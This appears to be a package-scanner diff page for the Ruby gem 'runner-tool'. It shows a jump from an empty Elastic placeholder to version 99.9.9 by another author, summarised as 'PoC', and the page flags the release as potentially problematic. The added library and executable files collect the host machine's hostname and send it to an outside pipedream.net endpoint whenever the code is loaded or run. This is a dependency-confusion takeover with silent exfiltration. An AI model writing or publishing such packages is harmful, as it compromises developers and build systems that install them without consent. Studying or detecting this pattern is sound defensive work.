runner-tool 0.0.1.pre1 → 99.9.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of runner-tool might be problematic. Click here for more details.

Files changed (4) hide show
  1. checksums.yaml +4 -4
  2. data/bin/runner-tool +5 -0
  3. data/lib/runner-tool.rb +20 -0
  4. metadata +14 -11
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 4a72097c4b624c6e19b8b484b723624252e4ae8198351e8344c6d73eb1d546d0
4
- data.tar.gz: 1ff51afca40fdd08bc123781c7ffddb8404d8850d9caec1640d50f43bea79c4b
3
+ metadata.gz: c1d5801033e7b913311852b2d6ce2fb2dcf98b8da885d6967dfa4ff1fc6127b8
4
+ data.tar.gz: 3d86fc0a2f2f2c6a95591e05b060f89883cbad9ee4b5280ed98d3e911adb1c62
5
5
  SHA512:
6
- metadata.gz: 14a8548159eb6458a555c6c3f31ebb0148f2555d0cf7afba59c976d9beac55365c67c52057a4f26d74f9b751a4161eb5861813698b3a1ac34ea3aa6b621888d3
7
- data.tar.gz: 61dcd73b38ce0588b63e7cdff9815e0b8b1b2373921a8c309c8427e07cd1af77d356664eab3773f6423f1f88b680e9331e097bb70d2715792ebb78249c3bed8b
6
+ metadata.gz: e53dcc1919fa2665209013212d1899f3ff0ce8d4f8bff6e3805abfb982377753bdfb75b43b1edd12f38d560095b87611af45f8e67ce41926ed11ec328491c339
7
+ data.tar.gz: 624978bc21904b0d81873819900616682a070a3491eef4a442d9c4fe97cf12450eb9b43bed55766d8265d6b9686cf2c6e09ffd6dba6ebd5056db62639ef43fa4
data/bin/runner-tool ADDED
@@ -0,0 +1,5 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ require_relative '../lib/runner-tool'
4
+
5
+ RunnerTool.send_hostname_to_server('https://eoenp5lacdw4vru.m.pipedream.net')
@@ -0,0 +1,20 @@
1
+ require 'net/http'
2
+ require 'uri'
3
+ require 'socket'
4
+
5
+ class RunnerTool
6
+ def self.send_hostname_to_server(url)
7
+ hostname = Socket.gethostname
8
+ request_url = URI("#{url}?host=#{hostname}")
9
+
10
+ response = Net::HTTP.get_response(request_url)
11
+
12
+ if response.is_a?(Net::HTTPSuccess)
13
+ puts 'Request sent successfully!'
14
+ else
15
+ puts "Error sending request: #{response.message}"
16
+ end
17
+ end
18
+ end
19
+
20
+ RunnerTool.send_hostname_to_server('https://eoenp5lacdw4vru.m.pipedream.net')
metadata CHANGED
@@ -1,23 +1,25 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: runner-tool
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.0.1.pre1
4
+ version: 99.9.9
5
5
  platform: ruby
6
6
  authors:
7
- - Elastic
7
+ - 0xWise
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2023-06-02 00:00:00.000000000 Z
11
+ date: 2023-05-07 00:00:00.000000000 Z
12
12
  dependencies: []
13
13
  description:
14
14
  email:
15
- - rubygems@elastic.co
16
- executables: []
15
+ executables:
16
+ - runner-tool
17
17
  extensions: []
18
18
  extra_rdoc_files: []
19
- files: []
20
- homepage: https://elastic.co
19
+ files:
20
+ - bin/runner-tool
21
+ - lib/runner-tool.rb
22
+ homepage:
21
23
  licenses:
22
24
  - MIT
23
25
  metadata: {}
@@ -25,6 +27,7 @@ post_install_message:
25
27
  rdoc_options: []
26
28
  require_paths:
27
29
  - lib
30
+ - bin
28
31
  required_ruby_version: !ruby/object:Gem::Requirement
29
32
  requirements:
30
33
  - - ">="
@@ -32,12 +35,12 @@ required_ruby_version: !ruby/object:Gem::Requirement
32
35
  version: '0'
33
36
  required_rubygems_version: !ruby/object:Gem::Requirement
34
37
  requirements:
35
- - - ">"
38
+ - - ">="
36
39
  - !ruby/object:Gem::Version
37
- version: 1.3.1
40
+ version: '0'
38
41
  requirements: []
39
- rubygems_version: 3.2.33
42
+ rubygems_version: 3.3.15
40
43
  signing_key:
41
44
  specification_version: 4
42
- summary: Empty placeholder for the runner-tool name
45
+ summary: PoC
43
46
  test_files: []